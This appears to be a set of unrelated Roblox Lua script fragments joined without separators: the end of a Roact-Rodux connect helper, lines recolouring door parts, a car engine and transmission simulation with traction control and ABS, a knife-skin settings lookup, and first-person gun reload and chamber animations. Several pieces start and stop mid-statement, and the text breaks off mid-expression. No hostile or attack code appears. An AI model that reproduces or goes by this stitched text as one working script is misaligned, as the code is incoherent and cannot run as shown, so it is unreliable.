react-redux -- and enables connectors to keep instance-level state. if typeof(mappedStoreState) == "function" then mapStateToProps = mappedStoreState mappedStoreState = mapStateToProps(storeState, self.props.innerProps) end if mappedStoreState ~= nil and typeof(mappedStoreState) ~= "table" then local message = formatMessage({ "mapStateToProps must either return a table, or return another function that returns a table.", "Instead, it returned %q, which is of type %s.", }, { tostring(mappedStoreState), typeof(mappedStoreState), }) error(message) end local function dispatch(...) return self.store:dispatch(...) end local mappedStoreDispatch if mapDispatchType == "table" then mappedStoreDispatch = {} for key, actionCreator in pairs(mapDispatchToProps) do assert(typeof(actionCreator) == "function", "mapDispatchToProps must contain function values") mappedStoreDispatch[key] = function(...) dispatch(actionCreator(...)) end end elseif mapDispatchType == "function" then mappedStoreDispatch = mapDispatchToProps(dispatch) end local stateUpdater = makeStateUpdater(self.store) self.state = { -- Combines props, mappedStoreDispatch, and the result of -- mapStateToProps into propsForChild. Stored in state so that -- getDerivedStateFromProps can access it. stateUpdater = stateUpdater, -- Used by the store changed connection and stateUpdater to -- construct propsForChild. mapStateToProps = mapStateToProps, -- Used by stateUpdater to construct propsForChild. mappedStoreDispatch = mappedStoreDispatch, -- Passed directly into the component that Connection is -- wrapping. propsForChild = nil, } local extraState = stateUpdater(self.props.innerProps, self.state, mappedStoreState) for key, value in pairs(extraState) do self.state[key] = value end self:createStoreConnection() end function Connection:willUnmount() self.storeChangedConnection:disconnect() end function Connection:render() return Roact.createElement(innerComponent, self.state.propsForChild) end local ConnectedComponent = Roact.Component:extend(componentName) function ConnectedComponent:render() return Roact.createElement(StoreContext.Consumer, { render = function(store) return Roact.createElement(Connection, { innerProps = self.props, store = store, }) end, }) end return ConnectedComponent end end return connect
--------RIGHT DOOR --------
game.Workspace.doorright.l12.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.doorright.l22.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.doorright.l32.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.doorright.l42.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.doorright.l52.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.doorright.l62.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.doorright.l72.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
--[[Engine]]
local fFD = _Tune.FinalDrive*_Tune.FDMult local fFDr = fFD*30/math.pi local cGrav = workspace.Gravity*_Tune.InclineComp/32.2 local wDRatio = wDia*math.pi/60 local cfWRot = CFrame.Angles(math.pi/2,-math.pi/2,0) local cfYRot = CFrame.Angles(0,math.pi,0) local rtTwo = (2^.5)/2 if _Tune.Aspiration == "Single" then _TCount = 1 _TPsi = _Tune.Boost elseif _Tune.Aspiration == "Double" then _TCount = 2 _TPsi = _Tune.Boost*2 end --Horsepower Curve local HP=_Tune.Horsepower/100 local HP_B=((_Tune.Horsepower*((_TPsi)*(_Tune.CompressRatio/10))/7.5)/2)/100 local Peak=_Tune.PeakRPM/1000 local Sharpness=_Tune.PeakSharpness local CurveMult=_Tune.CurveMult local EQ=_Tune.EqPoint/1000 --Horsepower Curve function curveHP(RPM) RPM=RPM/1000 return ((-(RPM-Peak)^2)*math.min(HP/(Peak^2),CurveMult^(Peak/HP))+HP)*(RPM-((RPM^Sharpness)/(Sharpness*Peak^(Sharpness-1)))) end local PeakCurveHP = curveHP(_Tune.PeakRPM) function curvePSI(RPM) RPM=RPM/1000 return ((-(RPM-Peak)^2)*math.min(HP_B/(Peak^2),CurveMult^(Peak/HP_B))+HP_B)*(RPM-((RPM^Sharpness)/(Sharpness*Peak^(Sharpness-1)))) end local PeakCurvePSI = curvePSI(_Tune.PeakRPM) --Plot Current Horsepower function GetCurve(x,gear) local hp=(math.max(curveHP(x)/(PeakCurveHP/HP),0))*100 return hp,((hp*(EQ/x))*_Tune.Ratios[gear+2]*fFD*hpScaling)*1000 end --Plot Current Boost (addition to Horsepower) function GetPsiCurve(x,gear) local hp=(math.max(curvePSI(x)/(PeakCurvePSI/HP_B),0))*100 return hp,((hp*(EQ/x))*_Tune.Ratios[gear+2]*fFD*hpScaling)*1000 end --Output Cache local HPCache = {} local PSICache = {} for gear,ratio in pairs(_Tune.Ratios) do local nhpPlot = {} local bhpPlot = {} for rpm = math.floor(_Tune.IdleRPM/100),math.ceil((_Tune.Redline+100)/100) do local ntqPlot = {} local btqPlot = {} ntqPlot.Horsepower,ntqPlot.Torque = GetCurve(rpm*100,gear-2) btqPlot.Horsepower,btqPlot.Torque = GetPsiCurve(rpm*100,gear-2) hp1,tq1 = GetCurve((rpm+1)*100,gear-2) hp2,tq2 = GetPsiCurve((rpm+1)*100,gear-2) ntqPlot.HpSlope = (hp1 - ntqPlot.Horsepower) btqPlot.HpSlope = (hp2 - btqPlot.Horsepower) ntqPlot.TqSlope = (tq1 - ntqPlot.Torque) btqPlot.TqSlope = (tq2 - btqPlot.Torque) nhpPlot[rpm] = ntqPlot bhpPlot[rpm] = btqPlot end table.insert(HPCache,nhpPlot) table.insert(PSICache,bhpPlot) end --Powertrain wait() --Automatic Transmission function Auto() local maxSpin=0 for i,v in pairs(Drive) do if v.RotVelocity.Magnitude>maxSpin then maxSpin = v.RotVelocity.Magnitude end end if _IsOn then _ClutchOn = true if _CGear >= 1 then if _GBrake > 0 and car.DriveSeat.Velocity.Magnitude < 5 then _CGear = 1 else if _Tune.AutoShiftMode == "RPM" then if _RPM>(_Tune.PeakRPM+_Tune.AutoUpThresh) then if (_CGear ~= 0) and (_CGear ~= #_Tune.Ratios-2) then _GThrotShift = 0 wait(_Tune.ShiftTime) _GThrotShift = 1 end _CGear=math.min(_CGear+1,#_Tune.Ratios-2) elseif math.max(math.min(maxSpin*_Tune.Ratios[_CGear+1]*fFDr,_Tune.Redline+100),_Tune.IdleRPM)<(_Tune.PeakRPM-_Tune.AutoDownThresh) then if _CGear ~= 1 then _GThrotShift = 0 wait(_Tune.ShiftTime/2) _GThrotShift = 1 end _CGear=math.max(_CGear-1,1) end else if car.DriveSeat.Velocity.Magnitude > math.ceil(wDRatio*(_Tune.PeakRPM+_Tune.AutoUpThresh)/_Tune.Ratios[_CGear+2]/fFD) then if (_CGear ~= 0) and (_CGear ~= #_Tune.Ratios-2) then _GThrotShift = 0 wait(_Tune.ShiftTime) _GThrotShift = 1 end _CGear=math.min(_CGear+1,#_Tune.Ratios-2) elseif car.DriveSeat.Velocity.Magnitude < math.ceil(wDRatio*(_Tune.PeakRPM-_Tune.AutoDownThresh)/_Tune.Ratios[_CGear+1]/fFD) then if _CGear ~= 1 then _GThrotShift = 0 wait(_Tune.ShiftTime/2) _GThrotShift = 1 end _CGear=math.max(_CGear-1,1) end end end end end end local tqTCS = 1 --Apply Power function Engine() --Neutral Gear if _CGear==0 then _ClutchOn = false end --Car Is Off local revMin = _Tune.IdleRPM if not _IsOn then revMin = 0 _CGear = 0 _ClutchOn = false _GThrot = _Tune.IdleThrottle/100 end --Determine RPM local maxSpin=0 local maxCount=0 for i,v in pairs(Drive) do maxSpin = maxSpin + v.RotVelocity.Magnitude maxCount = maxCount + 1 end maxSpin=maxSpin/maxCount if _ClutchOn then if _Tune.DriveTransfer == "TorqueConverter" then local aRPM = math.max(math.min(maxSpin*_Tune.Ratios[_CGear+2]*fFDr,_Tune.Redline+100),revMin)+(((_Tune.TConverter+800)*_GThrot)-(_Tune.IdleRPM*_GThrot)-((38)*_Tune.IdleThrottle)) local clutchP = math.min(math.abs((aRPM-((_Tune.TConverter-1000)*(_RPM/_Tune.Redline)*_GThrot))-_RPM)/_Tune.ClutchTol,.97) _RPM = _RPM*clutchP + (aRPM-((_Tune.TConverter-1000)*(_RPM/_Tune.Redline)*_GThrot))*(1-clutchP) end if _Tune.DriveTransfer == "Clutch" then local aRPM = math.max(math.min(maxSpin*_Tune.Ratios[_CGear+2]*fFDr,_Tune.Redline+100),revMin) local clutchP = math.min(math.abs(aRPM-_RPM)/_Tune.ClutchTol,.9) _RPM = _RPM*clutchP + aRPM*(1-clutchP) end else if _GThrot-(_Tune.IdleThrottle/100)>0 then if _RPM>_Tune.Redline then _RPM = _RPM-_Tune.RevBounce*2 else _RPM = math.min(_RPM+(_Tune.RevAccel*((script.Parent.Values.RPM.Value/_Tune.Redline)))*_GThrot,_Tune.Redline+100) end else _RPM = math.max(_RPM-(_Tune.RevDecay*((script.Parent.Values.RPM.Value/_Tune.Redline))),revMin) end end --Rev Limiter _spLimit = (_Tune.Redline+100)/(fFDr*_Tune.Ratios[_CGear+2]) if _RPM>_Tune.Redline then if _CGear<#_Tune.Ratios-2 then _RPM = _RPM-_Tune.RevBounce else _RPM = _RPM-_Tune.RevBounce*.5 end end local TPsi = _TPsi/_TCount _Boost = _Boost + ((((((_HP*(_GThrot*1.2)/_Tune.Horsepower)/8)-(((_Boost/TPsi*(TPsi/15)))))*((8/_Tune.TurboSize)*(1+(_Boost*2))))/TPsi)*15) if _Boost < 0.05 then _Boost = 0.05 elseif _Boost > 2 then _Boost = 2 end local cTq = HPCache[_CGear+2][math.floor(math.min(_Tune.Redline,math.max(_Tune.IdleRPM,_RPM))/100)] _NH = cTq.Horsepower+(cTq.HpSlope*((_RPM-math.floor(_RPM/100))/1000)%1) _NT = cTq.Torque+(cTq.TqSlope*((_RPM-math.floor(_RPM/100))/1000)%1) if _Tune.Aspiration ~= "Natural" then local bTq = PSICache[_CGear+2][math.floor(math.min(_Tune.Redline,math.max(_Tune.IdleRPM,_RPM))/100)] _BH = bTq.Horsepower+(bTq.HpSlope*((_RPM-math.floor(_RPM/100))/1000)%1) _BT = bTq.Torque+(bTq.TqSlope*((_RPM-math.floor(_RPM/100))/1000)%1) _HP = _NH + (_BH*(_Boost/2)) _OutTorque = _NT + (_BT*(_Boost/2)) else _HP = _NH _OutTorque = _NT end local iComp =(car.DriveSeat.CFrame.lookVector.y)*cGrav if _CGear==-1 then iComp=-iComp end _OutTorque = _OutTorque*math.max(1,(1+iComp)) --Average Rotational Speed Calculation local fwspeed=0 local fwcount=0 local rwspeed=0 local rwcount=0 for i,v in pairs(car.Wheels:GetChildren()) do if v.Name=="FL" or v.Name=="FR" or v.Name == "F" then fwspeed=fwspeed+v.RotVelocity.Magnitude fwcount=fwcount+1 elseif v.Name=="RL" or v.Name=="RR" or v.Name == "R" then rwspeed=rwspeed+v.RotVelocity.Magnitude rwcount=rwcount+1 end end fwspeed=fwspeed/fwcount rwspeed=rwspeed/rwcount local cwspeed=(fwspeed+rwspeed)/2 --Update Wheels for i,v in pairs(car.Wheels:GetChildren()) do --Reference Wheel Orientation local Ref=(CFrame.new(v.Position-((v.Arm.CFrame*cfWRot).lookVector),v.Position)*cfYRot).lookVector local aRef=1 local diffMult=1 if v.Name=="FL" or v.Name=="RL" then aRef=-1 end --AWD Torque Scaling if _Tune.Config == "AWD" then _OutTorque = _OutTorque*rtTwo end --Differential/Torque-Vectoring if v.Name=="FL" or v.Name=="FR" then diffMult=math.max(0,math.min(1,1+((((v.RotVelocity.Magnitude-fwspeed)/fwspeed)/(math.max(_Tune.FDiffSlipThres,1)/100))*((_Tune.FDiffLockThres-50)/50)))) if _Tune.Config == "AWD" then diffMult=math.max(0,math.min(1,diffMult*(1+((((fwspeed-cwspeed)/cwspeed)/(math.max(_Tune.CDiffSlipThres,1)/100))*((_Tune.CDiffLockThres-50)/50))))) end elseif v.Name=="RL" or v.Name=="RR" then diffMult=math.max(0,math.min(1,1+((((v.RotVelocity.Magnitude-rwspeed)/rwspeed)/(math.max(_Tune.RDiffSlipThres,1)/100))*((_Tune.RDiffLockThres-50)/50)))) if _Tune.Config == "AWD" then diffMult=math.max(0,math.min(1,diffMult*(1+((((rwspeed-cwspeed)/cwspeed)/(math.max(_Tune.CDiffSlipThres,1)/100))*((_Tune.CDiffLockThres-50)/50))))) end end _TCSActive = false _ABSActive = false --Output if _PBrake and (v.Name=="RR" or v.Name=="RL") then --PBrake v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*PBrakeForce v["#AV"].angularvelocity=Vector3.new() else --Apply Power if _GBrake==0 then local driven = false for _,a in pairs(Drive) do if a==v then driven = true end end if driven then local on=1 if not script.Parent.IsOn.Value then on=0 end local clutch=1 if not _ClutchOn then clutch=0 end local throt = _GThrot * _GThrotShift --Apply TCS tqTCS = 1 if _TCS then tqTCS = 1-(math.min(math.max(0,math.abs(v.RotVelocity.Magnitude*(v.Size.x/2) - v.Velocity.Magnitude)-_Tune.TCSThreshold)/_Tune.TCSGradient,1)*(1-(_Tune.TCSLimit/100))) end if tqTCS < 1 then _TCSAmt = tqTCS _TCSActive = true end --Update Forces local dir=1 if _CGear==-1 then dir = -1 end v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*_OutTorque*(1+(v.RotVelocity.Magnitude/60)^1.15)*throt*tqTCS*diffMult*on*clutch v["#AV"].angularvelocity=Ref*aRef*_spLimit*dir else v["#AV"].maxTorque=Vector3.new() v["#AV"].angularvelocity=Vector3.new() end --Brakes else local brake = _GBrake --Apply ABS local tqABS = 1 if _ABS and math.abs(v.RotVelocity.Magnitude*(v.Size.x/2) - v.Velocity.Magnitude)-_Tune.ABSThreshold>0 then tqABS = 0 end _ABSActive = (tqABS<1) --Update Forces if v.Name=="FL" or v.Name=="FR" or v.Name=="F" then v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*FBrakeForce*brake*tqABS else v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*RBrakeForce*brake*tqABS end v["#AV"].angularvelocity=Vector3.new() end end end end
-- Get the players set settings
local plr local wasEquipped = false if script.Parent.Parent.ClassName == "Backpack" then plr = script.Parent.Parent.Parent else wasEquipped = true plr = game.Players:GetPlayerFromCharacter(script.Parent.Parent) end local setSkin = game.ReplicatedStorage.KnifeSkins:FindFirstChild(plr.Settings.SetKnifeSkin.Value) local setEffect = plr.Settings.SetEffect.Value
--//Client Animations
IdleAnim = function(char, speed, objs) ts:Create(objs[2],TweenInfo.new(0.3),{C1 = require(script.Parent.Settings).RightPos}):Play() -- require(script).FakeRightPos (For fake arms) | require(script).RightArmPos (For real arms) ts:Create(objs[3],TweenInfo.new(0.3),{C1 = require(script.Parent.Settings).LeftPos}):Play() -- require(script).FakeLeftPos (For fake arms) | require(script).LeftArmPos (For real arms) end; StanceDown = function(char, speed, objs) ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-.875, 0.45, -1.25) * CFrame.Angles(math.rad(-75), math.rad(0), math.rad(0))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.1,-0.05,-1.65) * CFrame.Angles(math.rad(-90),math.rad(35),math.rad(-25))}):Play() wait(0.3) end; StanceUp = function(char, speed, objs) ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-1, -.75, -1.25) * CFrame.Angles(math.rad(-160), math.rad(0), math.rad(0))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(.75,-0.75,-1.35) * CFrame.Angles(math.rad(-170),math.rad(60),math.rad(15))}):Play() wait(0.3) end; Patrol = function(char, speed, objs) ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-.8, 0.3, -1.15) * CFrame.Angles(math.rad(-65), math.rad(0), math.rad(0))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.9,0.4,-0.9) * CFrame.Angles(math.rad(-50),math.rad(45),math.rad(-45))}):Play() wait(0.3) end; SprintAnim = function(char, speed, objs) ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-.8, 0.3, -1.15) * CFrame.Angles(math.rad(-65), math.rad(0), math.rad(0))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.9,0.4,-0.9) * CFrame.Angles(math.rad(-50),math.rad(45),math.rad(-45))}):Play() wait(0.3) end; EquipAnim = function(char, speed, objs) ts:Create(objs[2],TweenInfo.new(0),{C1 = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0))}):Play() ts:Create(objs[3],TweenInfo.new(0),{C1 = CFrame.new(1.2,-0.05,-1.65) * CFrame.Angles(math.rad(-90),math.rad(35),math.rad(-25))}):Play() wait(0.1) objs[5].Handle:WaitForChild("AimUp"):Play() ts:Create(objs[2],TweenInfo.new(0.5),{C1 = require(script.Parent.Settings).RightPos}):Play() ts:Create(objs[3],TweenInfo.new(0.5),{C1 = require(script.Parent.Settings).LeftPos}):Play() wait(0.5) end; ZoomAnim = function(char, speed, objs) --ts:Create(objs[2],TweenInfo.new(0),{C1 = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.65, -0.7, -1)*CFrame.Angles(math.rad(-180), 0, 0)*CFrame.Angles(0, 0, math.rad(30))}):Play() wait(0.3) ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.25, -1.1, -1)*CFrame.Angles(math.rad(-180), 0, 0)*CFrame.Angles(0, 0, math.rad(5))}):Play() ts:Create(objs[5].g33:WaitForChild("g33"),TweenInfo.new(0.3),{C1 = CFrame.new(-0.2, 0.21, 0)*CFrame.Angles(0, 0, math.rad(90))*CFrame.new(0.225, -0.75, 0)}):Play() wait(0.3) end; UnZoomAnim = function(char, speed, objs) --ts:Create(objs[2],TweenInfo.new(0),{C1 = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.25, -1.1, -1)*CFrame.Angles(math.rad(-180), 0, 0)*CFrame.Angles(0, 0, math.rad(5))}):Play() wait(0.3) ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.65, -0.7, -1)*CFrame.Angles(math.rad(-180), 0, 0)*CFrame.Angles(0, 0, math.rad(30))}):Play() ts:Create(objs[5].g33:WaitForChild("g33"),TweenInfo.new(0.3),{C1 = CFrame.new()}):Play() wait(0.3) end; ChamberAnim = function(char, speed, objs) ts:Create(objs[2],TweenInfo.new(0.3),{C1 = require(script.Parent.Settings).RightPos}):Play() ts:Create(objs[3],TweenInfo.new(0.35),{C1 = CFrame.new(0.65,0.55,-1.2) * CFrame.Angles(math.rad(-110),math.rad(20),math.rad(0))}):Play() wait(0.35) objs[5].Bolt:WaitForChild("SlidePull"):Play() ts:Create(objs[3],TweenInfo.new(0.25),{C1 = CFrame.new(0.55,0.30,-1.15) * CFrame.Angles(math.rad(-110),math.rad(20),math.rad(0))}):Play() ts:Create(objs[5].Handle:WaitForChild("Bolt"),TweenInfo.new(0.25),{C0 = CFrame.new(objs[6].BoltExtend) * CFrame.Angles(0,math.rad(0),0)}):Play() ts:Create(objs[5].Handle:WaitForChild("Slide"),TweenInfo.new(0.25),{C0 = CFrame.new(objs[6].SlideExtend) * CFrame.Angles(0,math.rad(0),0)}):Play() wait(0.3) objs[5].Bolt:WaitForChild("SlideRelease"):Play() ts:Create(objs[5].Handle:WaitForChild("Bolt"),TweenInfo.new(0.1),{C0 = CFrame.new(0,0,0) * CFrame.Angles(0,math.rad(0),0)}):Play() ts:Create(objs[5].Handle:WaitForChild("Slide"),TweenInfo.new(0.1),{C0 = CFrame.new(0,0,0) * CFrame.Angles(0,math.rad(0),0)}):Play() end; ChamberBKAnim = function(char, speed, objs) ts:Create(objs[2],TweenInfo.new(0.3),{C1 = require(script.Parent.Settings).RightPos}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(0.55,-0.05,-1.55) * CFrame.Angles(math.rad(-120),math.rad(20),math.rad(0))}):Play() wait(0.5) objs[5].Bolt:WaitForChild("SlideRelease"):Play() ts:Create(objs[5].Handle:WaitForChild("Bolt"),TweenInfo.new(0.1),{C0 = CFrame.new(0,0,0) * CFrame.Angles(0,math.rad(0),0)}):Play() ts:Create(objs[5].Handle:WaitForChild("Slide"),TweenInfo.new(0.1),{C0 = CFrame.new(0,0,0) * CFrame.Angles(0,math.rad(0),0)}):Play() wait(0.35) end; CheckAnim = function(char, speed, objs) ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.875, 0.5, -1.15) * CFrame.Angles(math.rad(-95), math.rad(-2), math.rad(7.5))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.5,0.475,-1.6) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play() wait(.35) local MagC = objs[5]:WaitForChild("Mag"):clone() objs[5].Mag.Transparency = 1 MagC.Parent = objs[5] MagC.Name = "MagC" MagC.Transparency = 0 local MagCW = Instance.new("Motor6D") MagCW.Part0 = MagC MagCW.Part1 = objs[3].Parent.Parent:WaitForChild("Left Arm") MagCW.Parent = MagC MagCW.C1 = MagC.CFrame:toObjectSpace(objs[3].Parent.Parent:WaitForChild("Left Arm").CFrame) ts:Create(MagCW,TweenInfo.new(0),{C0 = CFrame.new(-0.21, -0.4, 0.75) * CFrame.Angles(math.rad(90), math.rad(0), math.rad(0))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.45,0.475,-2.05) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play() objs[5].Handle:WaitForChild("MagOut"):Play() wait(0.3) ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(0.15,0.475,-1.5) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(0))}):Play() wait(1.5) ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.45,0.475,-2.05) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play() wait(0.3) ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.5,0.475,-1.6) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play() objs[5].Handle:WaitForChild("MagIn"):Play() MagC:Destroy() objs[5].Mag.Transparency = 0 wait(0.3) end; ShellInsertAnim = function(char, speed, objs) ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.975, -0.365, -1.2) * CFrame.Angles(math.rad(-115), math.rad(-2), math.rad(9))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.55,-0.4,-1.15) * CFrame.Angles(math.rad(-100),math.rad(70),math.rad(-41))}):Play() wait(0.3) objs[5].Handle:WaitForChild("ShellInsert"):Play() ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.975, -0.365, -1.2) * CFrame.Angles(math.rad(-110), math.rad(-2), math.rad(9))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.6,-0.3,-1.1) * CFrame.Angles(math.rad(-100),math.rad(70),math.rad(-41))}):Play() objs[6].Value = objs[6].Value - 1 objs[7].Value = objs[7].Value + 1 wait(0.3) end; ReloadAnim = function(char, speed, objs) if objs[7].Value <= 0 then ts:Create(objs[2],TweenInfo.new(0.15),{C1 = CFrame.new(0, 0.425, -1.25) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(-45))}):Play() ts:Create(objs[3],TweenInfo.new(0.4),{C1 = CFrame.new(1.195,1.4,-0.5) * CFrame.Angles(math.rad(0),math.rad(25),math.rad(0))}):Play() --ts:Create(objs[3],TweenInfo.new(0.2),{C1 = CFrame.new(1.35,-0.95,-1.45) * CFrame.Angles(math.rad(-130),math.rad(75),math.rad(15))}):Play() --wait(0.3) --ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.975, 0.425, -0.75) * CFrame.Angles(math.rad(-85), math.rad(0), math.rad(-30))}):Play() --ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.2,-1.5,-1.65) * CFrame.Angles(math.rad(-125),math.rad(75),math.rad(15))}):Play() wait(0.15) objs[5].Handle:WaitForChild("MagOut"):Play() local MagZ = objs[5]:WaitForChild("Mag"):clone() objs[5].Mag.Transparency = 1 MagZ.Parent = objs[5] MagZ.Name = "MagZ" MagZ.Transparency = 0 MagZ.Anchored = false MagZ.CanCollide = true MagZ:ClearAllChildren() MagZ.Velocity = MagZ.CFrame.RightVector * 25 --[[local MagC = objs[5]:WaitForChild("Mag"):clone() objs[5].Mag.Transparency = 1 MagC.Parent = objs[5] MagC.Name = "MagC" MagC.Transparency = 0 local MagCW = Instance.new("Motor6D") MagCW.Part0 = MagC MagCW.Part1 = objs[3].Parent.Parent:WaitForChild("Left Arm") MagCW.Parent = MagC MagCW.C1 = MagC.CFrame:toObjectSpace(objs[5].Mag.CFrame)]] wait(0.05) ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.975, 0.425, -0.75) * CFrame.Angles(math.rad(-85), math.rad(0), math.rad(30))}):Play() wait(0.2) ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.975, 0.425, -0.75) * CFrame.Angles(math.rad(-85), math.rad(0), math.rad(30))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.2,-1.5,-1.65) * CFrame.Angles(math.rad(-125),math.rad(75),math.rad(15))}):Play() wait(0.3) ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.975, 0.425, -0.75) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(30))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.35,-0.95,-1.45) * CFrame.Angles(math.rad(-130),math.rad(75),math.rad(15))}):Play() objs[5].Handle:WaitForChild("MagIn"):Play() --MagC:Destroy() objs[5].Mag.Transparency = 0 if (objs[6].Value - (objs[8].Ammo - objs[7].Value)) < 0 then objs[7].Value = objs[7].Value + objs[6].Value objs[6].Value = 0 --Evt.Recarregar:FireServer(objs[5].Value) elseif objs[7].Value <= 0 then objs[6].Value = objs[6].Value - (objs[8].Ammo - objs[7].Value) --Evt.Recarregar:FireServer(objs[5].Value) objs[7].Value = objs[8].Ammo objs[9] = false elseif objs[7].Value > 0 and objs[9] and objs[8].IncludeChamberedBullet then objs[6].Value = objs[6].Value - (objs[8].Ammo - objs[7].Value) - 1 --objs[10].Recarregar:FireServer(objs[6].Value) objs[7].Value = objs[8].Ammo + 1 elseif objs[7].Value > 0 and objs[9] and not objs[8].IncludeChamberedBullet then objs[6].Value = objs[6].Value - (objs[8].Ammo - objs[7].Value) --Evt.Recarregar:FireServer(objs[5].Value) objs[7].Value = objs[8].Ammo end wait(0.55) else ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.975, 0.425, -0.75) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(30))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.35,-0.95,-1.45) * CFrame.Angles(math.rad(-130),math.rad(75),math.rad(15))}):Play() wait(0.3) ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.975, 0.425, -0.75) * CFrame.Angles(math.rad(-85), math.rad(0), math.rad(30))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.2,-1.5,-1.65) * CFrame.Angles(math.rad(-125),math.rad(75),math.rad(15))}):Play() local MagC = objs[5]:WaitForChild("Mag"):clone() objs[5].Mag.Transparency = 1 MagC.Parent = objs[5] MagC.Name = "MagC" MagC.Transparency = 0 local MagCW = Instance.new("Motor6D") MagCW.Part0 = MagC MagCW.Part1 = objs[3].Parent.Parent:WaitForChild("Left Arm") MagCW.Parent = MagC MagCW.C1 = MagC.CFrame:toObjectSpace(objs[5].Mag.CFrame) objs[5].Handle:WaitForChild("MagOut"):Play() wait(0.3) ts:Create(objs[3],TweenInfo.new(0.4),{C1 = CFrame.new(1.195,1.4,-0.5) * CFrame.Angles(math.rad(0),math.rad(25),math.rad(0))}):Play() wait(0.75) ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.975, 0.425, -0.75) * CFrame.Angles(math.rad(-85), math.rad(0), math.rad(30))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.2,-1.5,-1.65) * CFrame.Angles(math.rad(-125),math.rad(75),math.rad(15))}):Play() wait(0.3) ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.975, 0.425, -0.75) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(30))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.35,-0.95,-1.45) * CFrame.Angles(math.rad(-130),math.rad(75),math.rad(15))}):Play() objs[5].Handle:WaitForChild("MagIn"):Play() MagC:Destroy() objs[5].Mag.Transparency = 0 if (objs[6].Value - (objs[8].Ammo - objs[7].Value)) < 0 then objs[7].Value = objs[7].Value + objs[6].Value objs[6].Value = 0 --Evt.Recarregar:FireServer(objs[5].Value) elseif objs[7].Value <= 0 then objs[6].Value = objs[6].Value - (objs[8].Ammo - objs[7].Value) --Evt.Recarregar:FireServer(objs[5].Value) objs[7].Value = objs[8].Ammo objs[9] = false elseif objs[7].Value > 0 and objs[9] and objs[8].IncludeChamberedBullet then objs[6].Value = objs[6].Value - (objs[8].Ammo - objs[7].Value) - 1 --objs[10].Recarregar:FireServer(objs[6].Value) objs[7].Value = objs[8].Ammo + 1 elseif objs[7].Value > 0 and objs[9] and not objs[8].IncludeChamberedBullet then objs[6].Value = objs[6].Value - (objs[8].Ammo - 